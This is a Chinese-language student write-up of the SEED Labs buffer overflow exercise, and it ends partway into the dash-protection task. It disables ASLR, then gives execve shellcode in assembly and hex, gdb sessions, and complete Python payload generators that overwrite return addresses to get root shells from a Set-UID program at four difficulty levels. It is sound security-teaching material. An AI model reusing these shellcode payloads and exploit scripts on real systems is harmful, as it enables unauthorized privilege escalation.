软件安全实验 SEEDlabs 缓冲区溢出漏洞实验

环境设置

关闭反制措施

现代操作系统已经实现了几种安全机制使得缓冲区溢出攻击变得困难。为了简化攻击,我们首先需要 关闭它们。之后我们会启用这些防御机制并观察攻击是否还能成功。

地址空间布局随机化:猜测地址是缓冲区溢出攻击的关键步骤之一。Ubuntu与其它几个基于Linux的操 作系统使用地址空间随机化使堆和栈的起始地址随机化,使得攻击者很难猜测出确切的地址。

使用命令sudo sysctl -w kernel.randomize_va_space=0来关闭地址空间布局随机化。

配置/bin/sh

zsh(Z shell) 是一种功能丰富的 Unix shell,既可以交互式使用,也可以做脚本解释器。

以下是常见的 Unix/Linux shell:

  1. sh:最早的 Bourne Shell,标准 shell,脚本兼容性好。
  2. bash:Bourne Again Shell,最流行的 shell,现代 Linux 的默认 shell,功能丰富,脚本能力强。
  3. zsh:功能强大,支持高级补全和定制,流行于开发者和 power user。
  4. ksh:Korn Shell,兼容 sh,脚本和交互都很强,部分企业系统用得多。
  5. csh:C Shell,语法风格像 C 语言,历史较久,但现在用得少。
  6. tcsh:C Shell 的增强版,增加了命令行编辑和补全。
  7. fish:Friendly Interactive Shell,主打用户友好和易用,语法更简洁,自动提示很强。
  8. Dash:Debian Almquist Shell,专为脚本执行优化,速度快,常用于 Ubuntu 的 /bin/sh。

在最新版的Ubuntu操作系统中,/bin/sh符号链接指向/bin/dashshell。dash 程序和 bash 程序都实现了一种安全机制,可以防止自身在 Set-UID进程中执行。简单来说,如果检测到它们在 Set-UID 进程中执行,它们会立即将有效userID切换为进程的真实userID,放弃特权。

因为我们的被攻击程序是一个 Set-UID程序,并且我们的攻击依赖于运行/bin/sh,所以/bin/dash 的安全机制使我们的攻击变得更加困难。因此,我们将/bin/sh链接到另一个没有这种安全机制的shell 上(在之后的任务中,我们将证明,只要稍加努力,/bin/dash的安全机制很容易攻破)。我们已经在 Ubuntu 20.04 VM 中安装了一个名为 zsh的shell程序,以下命令可以将/bin/sh链接到 zsh:

1
sudo ln -sf /bin/zsh /bin/sh

StackGuard 与不可执行栈 这是操作系统中另外的两个安全机制。它们可以在编译过程中被关闭,之后 我们会在编译漏洞程序时讨论它们。

Task1:熟悉shellcode

缓冲区溢出攻击的终极目的是将恶意代码注入到目标程序中,这样就可以使用目标程序的特权来执行 这些恶意代码。Shellcode被广泛运用于代码注入攻击中。在本任务中先熟悉一下它。

为什么叫 shellcode?

“shell”指的是命令行终端,“code”指的是代码——所以 shellcode 就是“能让程序打开命令行窗口的代码”。

主要作用:

最常见的用途是让目标程序打开一个 shell(命令行窗口),攻击者可以通过这个 shell 输入任意命令,进一步控制系统;也可以用来执行其他任意操作,比如下载文件、提权、修改数据等。

C语言版本的shellcode

1
2
3
4
5
6
7
8
#include <stdio.h>

int main(){
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}

编译并设置所有者为root:

1
2
3
4
gcc cshellcode.c -o cshellcode
sudo chown root cshellcode
sudo chmod 4755 cshellcode
./cshellcode

image-20251005195511761

发现成功进入了root shell。

32bit shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
; Store the command on stack
xor eax, eax
push eax
push "//sh"
push "/bin"
mov ebx, esp ; ebx --> "/bin//sh": execve()'s 1st argument

; Construct the argument array argv[]
push eax ; argv[1] = 0
push ebx ; argv[0] --> "/bin//sh"
mov ecx, esp ; ecx --> argv[]: execve()'s 2nd argument

; For environment variable
xor edx, edx ; edx = 0: execve()'s 3rd argument

; Invoke execve()
xor eax, eax ;
mov al, 0x0b ; execve()'s system call number
int 0x80

上述shellcode通过调用execve()系统调用来执行/bin/sh。在单独的SEED实验ShellcodeLab中, 我们会指导学生从头编写shellcode。在这里,我们仅给出一个简单的解释。

  • 第三条指令将”//sh”而不是”/sh”压入栈中。这是因为在这儿我们需要一个32-bit的数,而”/sh” 仅有24bits。幸运的是,”//“和”/“等价,所以我们可以使用”//sh”来代替”/sh”。

  • 我们需要通过ebx,ecx以及edx这三个寄存器向execve()传递三个参数。大多数的shellcode都 是为这三个参数构造内容。

  • 当我们将寄存器al的值设置为0x0b,并且执行”int0x80”时,就会调用execve()系统调用。

64bit shellcode

在下面我们提供了一个64-bit的shellcode。它与32-bit的shellcode非常类似,只是寄存器的名称 以及execve()系统调用使用的寄存器不同。同时我们在注释部分给出了代码的部分解释但是不会提供 shellcode的详细说明。

1
2
3
4
5
6
7
8
9
10
11
xor rdx, rdx ; rdx = 0: execve()'s 3rd argument
push rdx
mov rax, '/bin//sh' ; the command we want to run
push rax ;
mov rdi, rsp ; rdi --> "/bin//sh": execve()'s 1st argument
push rdx ; argv[1] = 0
push rdi ; argv[0] --> "/bin//sh"
mov rsi, rsp ; rsi --> argv[]: execve()'s 2nd argument
xor rax, rax
mov al, 0x3b ; execve()'s system call number
syscall

调用shellcode

在shellcode文件夹中,已经帮我们写好了Makefile文件,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
all: 
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c

setuid:
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
sudo chown root a32.out a64.out
sudo chmod 4755 a32.out a64.out

clean:
rm -f a32.out a64.out *.o

使用命令make all,会编译c源代码,生成a32.outa64.out,执行发现会进入seed权限的shell

image-20251005200446594

使用命令make setuid,会编译c源代码,并将两个可执行文件设置为setuid文件,执行后发现进入root权限的shell

image-20251005200620592

Task2:理解漏洞程序

源码解释

在本实验中使用的漏洞程序为code文件夹中的stack.c程序。此程序有一个缓冲区溢出漏洞,你 的工作是利用此漏洞并获得root权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
* won't be able to use the solutions from the past.
*/
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif

void dummy_function(char *str);

int bof(char *str)
{
char buffer[BUF_SIZE];

// The following statement has a buffer overflow problem
strcpy(buffer, str);

return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;

badfile = fopen("badfile", "r");
if (!badfile) {
perror("Opening badfile"); exit(1);
}

int length = fread(str, sizeof(char), 517, badfile);
printf("Input size: %d\n", length);
dummy_function(str);
fprintf(stdout, "==== Returned Properly ====\n");
return 1;
}

// This function is used to insert a stack frame of size
// 1000 (approximately) between main's and bof's stack frames.
// The function itself does not do anything.
void dummy_function(char *str)
{
char dummy_buffer[1000];
memset(dummy_buffer, 0, 1000);
bof(str);
}

上述程序存在缓冲区溢出漏洞。它首先从 badfile文件中读取一个输入,然后将该输入传递给 函数 bof()中的另一个缓冲区。原始输入的最大长度可以为 517字节,但是 bof()中的缓冲区只有 BUF_SIZE(100) 字节长,小于 517字节。因为函数 strcpy()不检查边界,所以会发生缓冲区溢出。由于 此程序是一个以 root为所有者的 Set-UID程序,如果普通用户可以利用该缓冲区溢出漏洞,普通用户 可能会获得 root shell。需要注意的是,该程序从 badfile文件中获取输入,这个文件受用户控制。现 在我们的目标是为 badfile文件创建内容,这样当漏洞程序将内容复制到其缓冲区时,就可以获得 root shell。

编译

要编译上述的漏洞程序,请不要忘记使用”-fno-stack-protector”和”-z execstack”选项关闭 StackGuard 和不可执行栈的保护机制。编译之后,我们需要将可执行文件 stack设置为一个以 root为 所有者的 Set-UID程序。要完成这一点,首先将程序的所有者更改为 root(Line1),然后将权限更改为 4755 来设置 Set-UID位(Line2)。需要注意的是,必须在设置 Set-UID位之前更改程序的所有者,因为 所有者更改将会导致 Set-UID位被关闭。

1
2
3
$ gcc-DBUF_SIZE=100-m32-o stack-z execstack-fno-stack-protector stack.c 
$ sudo chown root stack // Line 1
$ sudo chmod 4755 stack // Line 2

注意:这些已经写到Makefile中了,只需make即可。

Task3:对 32-bit 程序实施攻击 (Level 1)

研究探索

要利用目标程序中的缓冲区溢出漏洞,最重要的是需要知道缓冲区的起始位置与存储返回地址的位置 之间的距离。我们将使用调试的方法来获取这个距离。因为我们有目标程序的源代码,所以我们可以在编 译目标程序时使用调试选项,使它更方便进行调试。

  • gcc 是最底层的编译器,直接把源文件编译成可执行文件。
  • make 是自动化工具,负责调用 gcc(或其他编译器)去编译、链接、清理等,规则写在 Makefile
  • Makefile 是 make 用的规则文件,描述编译流程。
  • cmake 是更高级的自动化工具,用来生成 Makefile(或其他工程文件),让跨平台和大型项目编译更方便。

关系图:

1
CMakeLists.txt  --cmake生成-->  Makefile  --make读取-->  gcc等编译器  -->  可执行文件

我们将在 gcc命令中添加-g选项,将调试信息添加到二进制文件中。如果你运行了 make命令,则 已经创建了调试版本。我们将使用 gdb来调试 stack-L1-dbg。在运行该程序前我们需要创建 badfile 文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ touch badfile //创建badfile文件
$ gdb stack-L1-dbg
gdb-peda$ b bof //在函数bof()处设置断点
Breakpoint1at0x124d:filestack.c,line18.
gdb-peda$ run //开始运行程序
...
Breakpoint1,bof(str=0xffffcf57 ...)atstack.c:18
18 {
gdb-peda$ next //参见Note
...
22 strcpy(buffer,str);
gdb-peda$ p $ebp //打印ebp的值
$1= (void*)0xffffdfd8
gdb-peda$ p &buffer //获得buffer的起始地址
$2= (char(*)[100]) 0xffffdfac
gdb-peda$ quit //退出

gdb(GNU Debugger)是Linux/Unix平台上最常用的C/C++程序调试工具。

  • 在Linux/类Unix系统下,gdb是最常用、最经典的调试工具
  • macOS下,lldb逐渐成为主流(但gdb也能用)。
  • Windows下,Visual Studio调试器windbg最常用。

我们使用gdb对二进制文件进行调试。

  1. 首先我们使用b bofbof()函数处下断点
  2. 然后使用run命令运行程序到断点处,如下图所示:

image-20251005214115251

ebp:ebp()是x86架构中的一个寄存器,通常用于函数调用中的栈帧管理。它的主要用途是在程序执行过程中充当基址指针,具体来说,EBP在函数调用时保存了调用者的栈帧基址,并被用来创建当前函数的栈帧。

esp:esp()是x86架构中的一个寄存器,用于指向当前栈顶的位置。它是栈指针寄存器,用于管理栈的操作,特别是在函数调用和返回时对栈进行操作。

1
2
3
4
5
=> 0x565562ad <bof>:	endbr32 
0x565562b1 <bof+4>: push ebp
0x565562b2 <bof+5>: mov ebp,esp
0x565562b4 <bof+7>: push ebx
0x565562b5 <bof+8>: sub esp,0x84
  • push ebp:将调用者的 ebp(即上一个函数的 ebp)压入栈。
  • mov ebp, esp:用当前 esp 的值(即当前栈顶)设置 ebp,形成当前函数的新栈帧。
  • push ebxsub esp, 0x84 分别保存 ebx 寄存器、并为局部变量分配空间。

可以发现esp的值还没赋给ebp,因此此时我们获取的值是函数调用者的地址

使用p $ebp打印 ebp 寄存器的地址:

1
2
gdb-peda$ p $ebp
$1 = (void *) 0xffffcf58

image-20251005214547497

而我们想获得bof()函数的基址,需要先让程序执行到0x565562b2 <bof+5>: mov ebp,esp这步之后ebp中存储的地址才是bof()函数的基址。

使用next命令进行单步调试,此时再使用p $ebp打印 ebp 寄存器的地址,才是bof()函数的基址。

1
2
gdb-peda$ p $ebp
$2 = (void *) 0xffffcb48

此时再使用p &buffer来获取缓冲区的起始地址

1
2
gdb-peda$ p &buffer
$3 = (char (*)[100]) 0xffffcadc

image-20251005214819564

实施攻击

我们需要将前面提到的32bit的shellcode转为机器码,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
\x31\xc0              // xor    eax,eax
\x50 // push eax
\x68\x2f\x2f\x73\x68 // push 0x68732f2f ("//sh")
\x68\x2f\x62\x69\x6e // push 0x6e69622f ("/bin")
\x89\xe3 // mov ebx,esp
\x50 // push eax
\x53 // push ebx
\x89\xe1 // mov ecx,esp
\x31\xd2 // xor edx,edx
\x31\xc0 // xor eax,eax
\xb0\x0b // mov al,0xb
\xcd\x80 // int 0x80

所以shellcode就可以写为:

1
2
3
shellcode= (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

为了实现缓冲区溢出攻击,我们需要精心设计shellcode的位置以及覆盖原有函数的地址,使shellcode可以执行并返回。

这里有三个最主要的参数(startretoffset),下面我们一一理解并确定

start:shellcode在缓冲区的偏移位置

  • 作用:决定你的 shellcode 被写入缓冲区的哪个位置。
  • 如何确定
    • 通常选一个距离返回地址较近但不会被覆盖的位置,比如缓冲区后半段。
    • 举例:缓冲区 517 字节,而且我们的shellcode长度为27,可以选400,这样的话shellcode是写在缓冲区400到427字节(关键是和下面的 ret 对应)。
1
2
3
# Put the shellcode somewhere in the payload
start = 400 # Change this number
content[start:start + len(shellcode)] = shellcode

可以参考下面这图理解一下

1
2
3
4
5
6
7
8
9
高地址
[ buffer[517] ]
[ buffer[516] ]
...
[ buffer[400] ] <- shellcode start
...
[ buffer[1] ]
[ buffer[0] ]
低地址

ret:需要覆盖的返回地址的值,即 shellcode 的绝对地址

  • 作用:让函数 return 时跳到你的 shellcode。返回地址 = shellcode 的实际地址,就是让程序 return 时去执行你的 shellcode。
  • 如何确定
    • 你需要知道缓冲区在内存中的起始地址(可以用 gdb 调试得到,比如 p &buffer)。
    • shellcode在缓冲区的偏移是 start,所以 ret = 缓冲区起始地址 + start。

$$
ret=&buffer(缓冲区起始地址)+start(shellcode在缓冲区里的位置)
$$

offset:需要覆盖的返回地址在缓冲区中的偏移,即bof()函数的返回地址(与上面ret区分开来)与缓冲区起始地址的相对位置

  • 作用:决定你要在 payload 的哪个位置写入 ret(返回地址)。
  • 如何确定
    • 用 gdb 查 ebp(保存的基址指针)和缓冲区地址的差距。
    • 通常 offset = $ebp - &buffer + 4,其中 +4 是因为返回地址在 ebp 上面 4 字节。

$$
offset=$ebp-&buffer+4
$$

可以结合下面这张图理解一下(缓冲区处不太严谨,实际上bof()中的缓冲区只有 BUF_SIZE(100) 字节长,小于 517字节,所以buffer[517]已经溢出到返回地址之上了)

1
2
3
4
5
6
7
8
9
10
11
12
13
高地址
+-------------------+ <- 返回地址 (retaddr)
| return address |
+-------------------+ <- 保存的EBP (ebp)
| saved EBP (4bit) |
+-------------------+
| buffer[517] | <- 实际上缓冲区会溢出到比return address更高的地址,这里是为了理解
| buffer[516] |
| ... |
| buffer[1] |
| buffer[0] | <- 缓冲区起始地址 (&buffer)
+-------------------+
低地址

更严谨的是这样

1
2
3
4
5
6
7
8
9
10
11
12
13
高地址
+------------------------+ <- return address (EIP设置为这里)
| return address |
+------------------------+ <- saved EBP (ebp寄存器指向这里,同时之前ebp的值也存在这里)
| saved EBP (4字节) |
+------------------------+ ↑ 缓冲区最后一个字节,再往上就是溢出了
| buffer[99] |
| buffer[98] |
| ... |
| buffer[1] |
| buffer[0] | <- 缓冲区起始地址 (&buffer, esp初始值)
+------------------------+
低地址

esp(栈顶指针):在函数运行时,esp 指向当前栈顶。进入 bof() 时,esp 通常指向 buffer[0] 或更低地址。

ebp(基址指针):ebp 通常指向 saved EBP 的位置(即 ebp –> | saved EBP |)

eip(指令寄存器):return 时,eip 会被设置为 return address 的值,决定程序跳转到哪里执行。

编写exp

image-20251005225904766

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 400 # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret = 0xffffcadc + start # Change this number
offset = 0xffffcb48 - 0xffffcadc + 4 # Change this number

L = 4 # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)

执行我们的exp写入shellcode,并执行写入shellcode后的程序:

image-20251005225743320

攻击成功,获得了root shell。

我们通读一下exp:

  1. 构造一个大缓冲区(全是NOP)

    用 517 个 0x90 填充(0x90 是 NOP 指令,什么也不做),形成 NOP滑板,增加攻击成功率。

  2. 在指定位置写入shellcode

    把shellcode写进 content ,这里是第400字节处。

  3. 计算shellcode的内存地址

    • 0xffffcadc 是缓冲区(buffer)的实际内存起始地址(从gdb调试得到)。
    • start 是shellcode在缓冲区里的偏移。
    • ret 就是shellcode的实际内存地址,你希望程序return时跳到这里执行shellcode
  4. 找到返回地址在缓冲区中的偏移

    • 0xffffcb48 是 ebp(基址指针)的地址(用gdb查)。
    • 0xffffcadc 是 buffer 的地址。
    • +4 表示再往高地址4字节,就是存放返回地址的位置。
    • offset 是“从缓冲区起始到返回地址的距离”,你需要用这个数,才能在content里正确覆盖返回地址。
  5. 覆盖返回地址为shellcode地址

    • 把返回地址(ret)写到payload的正确位置(offset),用小端格式(x86习惯)。
    • 这样,当程序溢出时,返回地址就变成你的 shellcode 地址。
  6. 写入文件,等待攻击

Task4:在不知道缓冲区大小的情况下实施攻击 (Level 2)

在 Level 1攻击中,我们通过 gdb调试获得了缓冲区的大小,但是在真实攻击中,缓冲区大小的信息可能很难获得。例如,如果目标程序是运行在远程机器上的服务器程序时,那么我们将无法获得二进制代码或源代码的副本。在本任务中,我们将添加一个约束条件:你仍然可以使用 gdb,但不允许获得缓冲区的大小。实际上,Makefile文件提供了缓冲区的大小,但是在攻击中不允许使用该信息。

你的任务是让漏洞程序在此约束条件下运行 shellcode。我们假设你知道缓冲区大小的范围是 100∼200 字节。另一个有用的事实是:由于内存对齐,存储在帧指针中的值总是4的倍数(对于32-bit程序来说)。

请注意,你只能构造一个 payload,而且该 payload适用于此范围内(100∼200字节)的任何缓冲区 大小。如果你使用暴力方法即每次尝试缓冲区大小,你将不会获得满分。你尝试的次数越多,越有可能被 被攻击者发现并防御。这就是为什么尽量减少尝试的次数对攻击来说很重要。在实验报告中,你需要描述 你的攻击方法并提供证明。

我们这里总结一下目前已知和未知的:

已知的就是我们还是可以写入517字节的内容;但是缓冲区的范围未知了,之前这个数字是100,但是现在我们只知道范围是100~200,所以很难确定返回地址在缓冲区中的偏移。

我们可以将buffer的前204位置全部设置为ret的地址,这样只要发生缓冲区溢出,且溢出可以覆盖返回地址,我们就可以成功进行攻击。

1
2
3
# Put the shellcode somewhere in the payload
start = 400 # Change this number
content[start:start + len(shellcode)] = shellcode

这里我们先按之前的做法做一遍,也就是知道缓冲区大小的情况下

使用gdb调试,找到函数的起始地址和缓冲区的起始地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ touch badfile //创建badfile文件
$ gdb stack-L2-dbg
gdb-peda$ b bof //在函数bof()处设置断点
Breakpoint1at0x124d:filestack.c,line18.
gdb-peda$ run //开始运行程序
...
Breakpoint1,bof(str=0xffffcf57 ...)atstack.c:18
18 {
gdb-peda$ next //参见Note
...
22 strcpy(buffer,str);
gdb-peda$ p $ebp
$1 = (void *) 0xffffcb48
gdb-peda$ p &buffer
$2 = (char (*)[180]) 0xffffca8c
gdb-peda$ quit //退出

image-20251006193423714

编写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
"\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 400 # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret = 0xffffca8c + start # Change this number
offset = 0xffffcb48 - 0xffffca8c + 4 # Change this number

L = 4 # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
# content[0:204] = (ret).to_bytes(L,byteorder='little') * (204//4) #将前204位全部填充ret
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)

执行exp,并执行写入shellcode后的可执行文件stack-L2

image-20251006193652677

然后再按要求打一遍,也就是不知道缓冲区大小的情况下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
"\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 400 # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret = 0xffffca8c + start # Change this number
# offset = 0xffffcb48 - 0xffffca8c + 4 # Change this number

L = 4 # Use 4 for 32-bit address and 8 for 64-bit address
# content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
content[0:204] = (ret).to_bytes(L,byteorder='little') * (204//4) #将前204位全部填充ret
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)

第二次打法成功,两次都可行

发现成功进入root shell,并且只需要一次,无需爆破。

image-20251006194023764

Task5:对 64-bit 程序实施攻击 (Level 3)

在本任务中,我们将漏洞程序编译为一个称为 stack-L3的64-bit二进制文件。我们将对该程序实施攻击。编译和设置Set-UID命令已经包含在 Makefile文件中。与之前的任务类似,你需要在实验报告中 提供详细的攻击过程。

对于64-bit 程序,使用 gdb调试的方法与32-bit程序相同。唯一的区别是帧指针寄存器的名称不同。 在x86体系结构中,帧指针寄存器为 ebp,而在x64体系结构中,帧指针寄存器为 rbp。

挑战 与对32-bit程序的缓冲区溢出攻击相比,对64-bit程序的攻击更难。最难的部分是地址。虽然x64 体系结构支持64-bit地址空间,但是只允许使用 0x00∼0x00007FFFFFFFFFFF 范围内的地址。这意味着每个地址(8个字节)的最高两个字节总是0。这是一个问题。

在缓冲区溢出攻击中,payload中至少存储一个地址,而且 payload将通过 strcpy()函数复制到 栈上,但是 strcpy()函数一遇到”0”就会停止复制。因此,如果 payload中间包含”0”,则”0”之后的 内容不能复制到栈上。如何解决这个问题是本次攻击中最困难的挑战。

解释一下,由于程序是通过strcpy()将badfile读取到buffer里的,因此我们的shellcode中不能出现\x00,因为这样会导致strcpy截断,同时写入的返回地址的前两位总是00,由于地址在栈中是以小端序存储的,因此我们只要将返回地址写到badfile的最后位置就行,这样就可以读取到完整的shellcode。

首先使用gdb调试获取缓冲区起始地址和函数返回地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
gdb-peda$ next
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdda0 --> 0xffffcc1cffffcc1c
RBX: 0x555555555360 (<__libc_csu_init>: endbr64)
RCX: 0x7fffffffdd00 --> 0x0
RDX: 0x7fffffffdd00 --> 0x0
RSI: 0x0
RDI: 0x7fffffffdda0 --> 0xffffcc1cffffcc1c
RBP: 0x7fffffffd970 --> 0x7fffffffdd80 --> 0x7fffffffdfc0 --> 0x0
RSP: 0x7fffffffd870 --> 0x7fffffffdd00 --> 0x0
RIP: 0x55555555523f (<bof+22>: mov rdx,QWORD PTR [rbp-0xf8])
R8 : 0x0
R9 : 0x10
R10: 0x55555555602c --> 0x52203d3d3d3d000a ('\n')
R11: 0x246
R12: 0x555555555140 (<_start>: endbr64)
R13: 0x7fffffffe0b0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55555555522e <bof+5>: mov rbp,rsp
0x555555555231 <bof+8>: sub rsp,0x100
0x555555555238 <bof+15>: mov QWORD PTR [rbp-0xf8],rdi
=> 0x55555555523f <bof+22>: mov rdx,QWORD PTR [rbp-0xf8]
0x555555555246 <bof+29>: lea rax,[rbp-0xf0]
0x55555555524d <bof+36>: mov rsi,rdx
0x555555555250 <bof+39>: mov rdi,rax
0x555555555253 <bof+42>: call 0x5555555550c0 <strcpy@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd870 --> 0x7fffffffdd00 --> 0x0
0008| 0x7fffffffd878 --> 0x7fffffffdda0 --> 0xffffcc1cffffcc1c
0016| 0x7fffffffd880 --> 0xffffffff
0024| 0x7fffffffd888 --> 0x7ffff7fe0187 (mov r8,rax)
0032| 0x7fffffffd890 --> 0x7ffff7fcf6b8 --> 0xe0012000000bc
0040| 0x7fffffffd898 --> 0x7ffff7ffd9e8 --> 0x7ffff7fcf000 --> 0x10102464c457f
0048| 0x7fffffffd8a0 --> 0x300000000
0056| 0x7fffffffd8a8 --> 0x7ffff7fcf628 --> 0xe001200000021
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
20 strcpy(buffer, str);
gdb-peda$ p $rbp
$1 = (void *) 0x7fffffffd970
gdb-peda$ p &buffer
$2 = (char (*)[240]) 0x7fffffffd880
gdb-peda$

计算偏移:

0x7fffffffd970 - 0x7fffffffd880 + 8,结果为248

因此我们需要把shellcode写到248之前,而且shellcode长度为30

image-20251006201126531

1
2
3
# Put the shellcode somewhere in the payload
start = 64 # Change this number
content[start:start + len(shellcode)] = shellcode

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
"\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
"\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 64 # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret = 0x7fffffffd880 + start # Change this number
offset = 0x7fffffffd970 - 0x7fffffffd880 + 8 # Change this number

L = 8 # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)

攻击效果:

image-20251006204825095

攻击成功,拿到root shell。

Task6:对 64-bit 程序实施攻击 (Level 4)

本任务的缓冲区大小只有10。

先使用gdb找到缓冲区起始地址和函数返回地址

1
2
3
4
gdb-peda$ p $rbp
$3 = (void *) 0x7fffffffd940
gdb-peda$ p &buffer
$2 = (char (*)[10]) 0x7fffffffd936

由于缓冲区太小,放不下我们的shellcode,于是我们可以利用main函数里的char str[517]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;

badfile = fopen("badfile", "r");
if (!badfile) {
perror("Opening badfile"); exit(1);
}

int length = fread(str, sizeof(char), 517, badfile);
printf("Input size: %d\n", length);
dummy_function(str);
fprintf(stdout, "==== Returned Properly ====\n");
return 1;
}

所以这里我们继续运行,找到mian函数的char str[517](也可以在main函数下断点,然后当str入栈时,查看shellcode的地址)

image-20251006215934220

于是将ret的值设为0x7fffffffdd70 + start

此时注意,由于offset的值是offset = 0x7fffffffd940 - 0x7fffffffd936 + 8,也就是18,而且后面又要写上

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
"\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
"\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 128 # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret = 0x7fffffffdd70 + start # Change this number
offset = 0x7fffffffd940 - 0x7fffffffd936 + 8 # Change this number

L = 8 # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)

执行结果:

image-20251006223035618

Task7:攻破 dash 的保护机制

当Ubuntu 操作系统中的 dash shell检测到有效UID不同于真实UID时(Set-UID程序中),就会主 动放弃特权。这是通过将有效UID修改为真实UID来实现的,本质上就是放弃特权。在前面的任务中, 我们让/bin/sh指向了另一种没有这种保护机制的 zsh shell。在本任务中,我们让/bin/sh指向原来 的/bin/dash 并攻破这种保护机制。请执行以下操作,让/bin/sh指向/bin/dash:

1
$ sudo ln -sf /bin/dash /bin/sh

为了攻破缓冲区溢出攻击中的这种保护机制,我们所需要做的就是改变真实UID,让它与有效UID等 价。当以 root为所有者的Set-UID程序运行时,有效UID为0,所以在我们调用 shell程序之前,我们 只需要将真实UID修改为0即可。我们可以通过在 shellcode中执行 execve()之前调用 setuid(0)来 实现这一点。

实验

